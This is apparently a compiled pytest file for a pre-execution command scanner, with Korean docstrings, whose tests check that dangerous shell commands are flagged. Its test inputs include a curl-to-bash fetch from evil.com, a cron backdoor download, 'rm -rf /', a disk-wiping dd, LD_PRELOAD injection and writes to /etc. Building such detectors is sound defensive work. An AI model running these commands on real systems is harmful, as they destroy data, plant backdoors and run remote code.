
    UiP                         d Z ddlZddlmc mZ ddlZddlm	Z	m
Z
mZ d Zd Zd Zd Zd Zd	 Zd
 Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zy)ub   pre_exec_scan 모듈 테스트.

TDD: RED → GREEN 순서로 작성.
총 15개 이상 테스트.
    N)ScanVerdict_scan_staticscan_commandc                     t        dg dd      } | j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }d	d
|iz  }t        t        j                  |            dx}x}}| j                  }g }||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }d	d
|iz  }t        t        j                  |            dx}x}}| j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }d	d
|iz  }t        t        j                  |            dx}x}}y)u-   ScanVerdict 데이터클래스 필드 확인.allowu   안전static)actionfindingssummaryscanner==z.%(py2)s
{%(py2)s = %(py0)s.action
} == %(py5)sverdictpy0py2py5assert %(py7)spy7N)z0%(py2)s
{%(py2)s = %(py0)s.findings
} == %(py5)sz/%(py2)s
{%(py2)s = %(py0)s.scanner
} == %(py5)s)r   r	   
@pytest_ar_call_reprcompare@py_builtinslocals_should_repr_global_name	_safereprAssertionError_format_explanationr
   r   r   @py_assert1@py_assert4@py_assert3@py_format6@py_format8s         5/home/jay/workspace/utils/tests/test_pre_exec_scan.pytest_scan_verdict_fieldsr'      sf   	G >>$W$>W$$$$>W$$$$$$7$$$7$$$>$$$W$$$$$$$!r!r!!!!r!!!!!!7!!!7!!!!!!r!!!!!!!??&h&?h&&&&?h&&&&&&7&&&7&&&?&&&h&&&&&&&    c                  :   t        d      } | j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  }d
}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)u%   안전한 명령어 → action=allow.zls -la /homer   r   r   r   r   r   r   Nr   r   )r   r	   r   r   r   r   r   r   r   r   r   r    s         r&   test_static_clean_commandr*   "   s    >*G>>$W$>W$$$$>W$$$$$$7$$$7$$$>$$$W$$$$$$$??&h&?h&&&&?h&&&&&&7&&&7&&&?&&&h&&&&&&&r(   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u8   PIPE-001: 파이프 실행 탐지 → warn 또는 block.zcat script.sh | bashwarnblockinz.%(py2)s
{%(py2)s = %(py0)s.action
} in %(py5)sr   r   r   r   N	threat_idzPIPE-001z%(py1)s in %(py3)sidspy1py3assert %(py5)sr   r   r	   r   r   r   r   r   r   r   r   r
   r   r!   r"   r#   r$   r%   fr4   @py_assert0@py_assert2@py_format4s              r&   test_static_pipe_bashr?   )   s    12G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4::: 5   !Fc                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u%   ENV-001: LD_PRELOAD 인젝션 탐지.zLD_PRELOAD=/tmp/evil.so ./appr,   r/   r1   r   r   r   r   Nr2   zENV-001r3   r4   r5   r8   r   r9   r:   s              r&   test_static_ld_preloadrB   1   s    :;G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4999 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u*   ENV-002: LD_LIBRARY_PATH 인젝션 탐지.zLD_LIBRARY_PATH=/tmp/libs ./appr,   r/   r1   r   r   r   r   Nr2   zENV-002r3   r4   r5   r8   r   r9   r:   s              r&   test_static_ld_library_pathrD   9   s    <=G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4999 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u*   DL-001: 루트 경로 다운로드 탐지.z1curl -o /etc/cron.d/backdoor http://evil.com/cronr,   r/   r1   r   r   r   r   Nr2   zDL-001r3   r4   r5   r8   r   r9   r:   s              r&   test_static_root_downloadrF   A   s    NOG>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
48s?8s8ss 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u)   PERM-001: 과도한 권한 부여 탐지.zchmod 777 /usr/local/bin/appr,   r/   r1   r   r   r   r   Nr2   zPERM-001r3   r4   r5   r8   r   r9   r:   s              r&   test_static_chmod_overpermsrH   I   s    9:G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4::: 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u   WRITE-001: /etc 쓰기 탐지.z,echo 'nameserver 1.2.3.4' > /etc/resolv.confr,   r/   r1   r   r   r   r   Nr2   z	WRITE-001r3   r4   r5   r8   r   r9   r:   s              r&   test_static_write_etcrJ   Q   s    IJG>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4;#;#;## 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u   DEST-001: rm -rf / 탐지.rm -rf /r,   r/   r1   r   r   r   r   Nr2   zDEST-001r3   r4   r5   r8   r   r9   r:   s              r&   test_static_rm_rf_rootrM   Y   s    :&G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4::: 5r@   c                  4   t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}| j                  D cg c]  }|d
   	 }}d}||v }	|	st        j                  d|	fd||f      t        j                  |      dt	        j
                         v st        j                  |      rt        j                  |      nddz  }
dd|
iz  }t        t        j                  |            d	x}}	y	c c}w )u+   DEST-002: dd 디스크 덮어쓰기 탐지.zdd if=/dev/zero of=/dev/sdar,   r/   r1   r   r   r   r   Nr2   zDEST-002r3   r4   r5   r8   r   r9   r:   s              r&   test_static_dd_disk_overwriterO   a   s    89G>>...>.....>.......7...7...>...........#*#3#3
4a1[>
4C
4::: 5r@   c                  |   t        d      } | j                  }t        |      }d}||kD  }|s
t        j                  d|fd||f      dt        j                         v st        j                  t              rt        j                  t              nddt        j                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      t        j                  |      dz  }dd	|iz  }t        t        j                  |            d
x}x}x}}| j                  d   }d}||v }|st        j                  d|fd||f      t        j                  |      dt        j                         v st        j                  |      rt        j                  |      nddz  }	dd|	iz  }
t        t        j                  |
            d
x}}d}||v }|st        j                  d|fd||f      t        j                  |      dt        j                         v st        j                  |      rt        j                  |      nddz  }	dd|	iz  }
t        t        j                  |
            d
x}}d}||v }|st        j                  d|fd||f      t        j                  |      dt        j                         v st        j                  |      rt        j                  |      nddz  }	dd|	iz  }
t        t        j                  |
            d
x}}y
)u+   findings 딕셔너리에 필수 키 포함.rL   r   )>)zM%(py5)s
{%(py5)s = %(py0)s(%(py3)s
{%(py3)s = %(py1)s.findings
})
} > %(py8)slenr   r   r6   r7   r   py8assert %(py10)spy10Nr2   r/   r3   findingr5   r8   r   descriptionmatched)r   r
   rR   r   r   r   r   r   r   r   r   )r   r=   r"   @py_assert7@py_assert6@py_format9@py_format11rW   r<   r>   r$   s              r&   'test_static_findings_have_required_keysr^   i   s   :&G$3 $1$ 1$$$$ 1$$$$$$3$$$3$$$$$$w$$$w$$$$$$ $$$1$$$$$$$q!G!;'!!!!;'!!!;!!!!!!'!!!'!!!!!!!#=G####=G###=######G###G#######999r(   c                     t        d      } | j                  }d}||k7  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u&   summary 필드가 비어있지 않음.zls -la )!=)z/%(py2)s
{%(py2)s = %(py0)s.summary
} != %(py5)sr   r   r   r   N)
r   r   r   r   r   r   r   r   r   r   r    s         r&   test_static_summary_not_emptyrb   s   sy    8$G?? b ?b    ?b      7   7   ?   b       r(   c                     t        d      } | j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u+   안전한 명령어 scan_command → allow.z
echo hellor   r   r   r   r   r   r   N
r   r	   r   r   r   r   r   r   r   r   r    s         r&   test_scan_command_safere   ~   sy    <(G>>$W$>W$$$$>W$$$$$$7$$$7$$$>$$$W$$$$$$$r(   c                     t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u'   위험 명령어 → block 또는 warn.z&curl https://evil.com/script.sh | bashr,   r/   r1   r   r   r   r   Nrd   r    s         r&   #test_scan_command_dangerous_blockedrg      s~    CDG>>...>.....>.......7...7...>...........r(   c                  Z   t        d      } t        | t              }|sddt        j                         v st        j                  t              rt        j                  t              nddt        j                         v st        j                  |       rt        j                  |       nddt        j                         v st        j                  t              rt        j                  t              ndt        j                  |      dz  }t        t        j                  |            d}y)u3   scan_command 반환값이 ScanVerdict 인스턴스.lsz5assert %(py4)s
{%(py4)s = %(py0)s(%(py1)s, %(py2)s)
}
isinstanceresultr   )r   r6   r   py4N)
r   rj   r   r   r   r   r   r   r   r   )rk   r#   @py_format5s      r&   &test_scan_command_returns_scan_verdictrn      s    $Ffk********:***:******f***f******k***k**********r(   c                     t        d      } | j                  }d}||v }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u5   scanner 필드가 설정됨 (static 또는 disabled).ri   )r   disabledr/   )z/%(py2)s
{%(py2)s = %(py0)s.scanner
} in %(py5)srk   r   r   r   N)
r   r   r   r   r   r   r   r   r   r   )rk   r!   r"   r#   r$   r%   s         r&   #test_scan_command_scanner_field_setrq      s}    $F>>333>33333>333333363336333>33333333333r(   c                     t        d      } | j                  D cg c]  }|d   	 }}| j                  }t        |      }d}||k\  }|s
t        j                  d|fd||f      dt        j                         v st        j                  t              rt        j                  t              nddt        j                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      t        j                  |      dz  }d	d
|iz  }t        t        j                  |            dx}x}x}}yc c}w )uA   여러 위협 패턴 동시 탐지 시 findings에 모두 포함.z%chmod 777 /tmp/x && echo x > /etc/foor2      )>=)zN%(py5)s
{%(py5)s = %(py0)s(%(py3)s
{%(py3)s = %(py1)s.findings
})
} >= %(py8)srR   r   rS   rU   rV   N)r   r
   rR   r   r   r   r   r   r   r   r   )	r   r;   r4   r=   r"   rZ   r[   r\   r]   s	            r&   "test_scan_command_multiple_threatsru      s     BCG#*#3#3
4a1[>
4C
4%3 %A% A%%%% A%%%%%%3%%%3%%%%%%w%%%w%%%%%% %%%A%%%%%%% 5s   Ec                     t        d      } | j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u(   빈 명령어 → allow (위협 없음).r`   r   r   r   r   r   r   r   Nrd   r    s         r&   test_scan_command_empty_stringrw      sy    2G>>$W$>W$$$$>W$$$$$$7$$$7$$$>$$$W$$$$$$$r(   c                     t        d      } | j                  }d}||k(  }|st        j                  d|fd||f      dt	        j
                         v st        j                  |       rt        j                  |       ndt        j                  |      t        j                  |      dz  }dd|iz  }t        t        j                  |            d	x}x}}y	)
u2   approval이 critical/high 판정 시 즉시 block.rL   r.   r   r   r   r   r   r   Nrd   r    s         r&   +test_scan_command_approval_integration_highry      s{     :&G>>$W$>W$$$$>W$$$$$$7$$$7$$$>$$$W$$$$$$$r(   )__doc__builtinsr   _pytest.assertion.rewrite	assertionrewriter   pytestutils.pre_exec_scanr   r   r   r'   r*   r?   rB   rD   rF   rH   rJ   rM   rO   r^   rb   re   rg   rn   rq   ru   rw   ry    r(   r&   <module>r      sx      G G
'$' !%/+4&%%r(   